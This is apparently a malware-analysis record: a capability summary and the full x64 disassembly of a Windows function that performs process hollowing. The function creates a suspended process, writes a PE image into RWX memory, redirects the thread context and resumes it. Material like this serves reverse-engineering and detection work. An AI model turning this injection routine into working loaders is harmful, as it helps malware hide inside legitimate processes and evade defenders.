Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
mov eax, 0x1970
call fcn.140003440
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1900], rcx
mov qword [rbp + 0x1908], rdx
mov qword [rbp + 0x1910], r8
mov qword [rbp + 0x1918], r9
lea rax, [rbp + 0x16c0]
mov r8d, 0x208
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
test eax, eax
jne 0x14000172e
mov eax, 0xffffffff
jmp 0x140001baa
lea rax, [rbp + 0x4b0]
mov r8d, 0x1208
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x16c0]
mov rcx, rax
call sym.wcslen
mov qword [rbp + 0x18e0], rax
mov rax, qword [rbp + 0x18e0]
lea rcx, [rax + rax]
lea rdx, [rbp + 0x16c0]
lea rax, [rbp + 0x4b0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x18e0]
mov word [rbp + rax*2 + 0x4b0], 0x20
mov rax, qword [rbp + 0x18e0]
add rax, 1
lea rdx, [rax + rax]
lea rax, [rbp + 0x4b0]
lea rcx, [rax + rdx]
mov rdx, qword [rbp + 0x1920]
mov rax, qword [rbp + 0x1918]
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x1910]
mov qword [rbp + 0x18d8], rax
mov rax, qword [rbp + 0x18d8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1910]
add rax, rdx
mov qword [rbp + 0x18d0], rax
mov rax, qword [rbp + 0x18d0]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000180c
mov eax, 0xfffffffe
jmp 0x140001baa
lea rax, [rbp + 0x4b0]
mov rdx, qword [rbp + 0x1900]
mov qword [rsp + 0x48], rdx
mov rdx, qword [rbp + 0x1908]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
jne 0x140001878
mov eax, 0xfffffffd
jmp 0x140001baa
lea rax, [rbp - 0x20]
mov r8d, 0x4d0
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x10000b
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
jne 0x1400018da
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffffc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffffc
jmp 0x140001baa
mov rax, qword [rbp + 0x18d0]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x18d0]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
test rax, rax
jne 0x14000194d
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffffb
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffffb
jmp 0x140001baa
mov rax, qword [rbp + 0x18d0]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1910]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x1400019b3
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffffa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffffa
jmp 0x140001baa
mov qword [rbp + 0x18e8], 0
jmp 0x140001a92
mov rax, qword [rbp + 0x18d8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1910]
lea rcx, [rdx + rax]
mov rdx, qword [rbp + 0x18e8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x108
mov qword [rbp + 0x18c8], rax
mov rax, qword [rbp + 0x18c8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x18c8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1910]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x18c8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001a8a
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffff9
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffff9
jmp 0x140001baa
add qword [rbp + 0x18e8], 1
mov rax, qword [rbp + 0x18d0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp qword [rbp + 0x18e8], rax
jb 0x1400019c3
mov rax, qword [rbp + 0x68]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001b10
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffff8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffff8
jmp 0x140001baa
mov rax, qword [rbp + 0x18d0]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
test eax, eax
jne 0x140001b68
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffff7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffff7
jmp 0x140001baa
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
test eax, eax
jne 0x140001ba5
mov rax, qword [rbp + 0x1900]
mov rax, qword [rax]
mov edx, 0xfffffff6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0xfffffff6
jmp 0x140001baa
mov eax, 0
add rsp, 0x1970
pop rbp
ret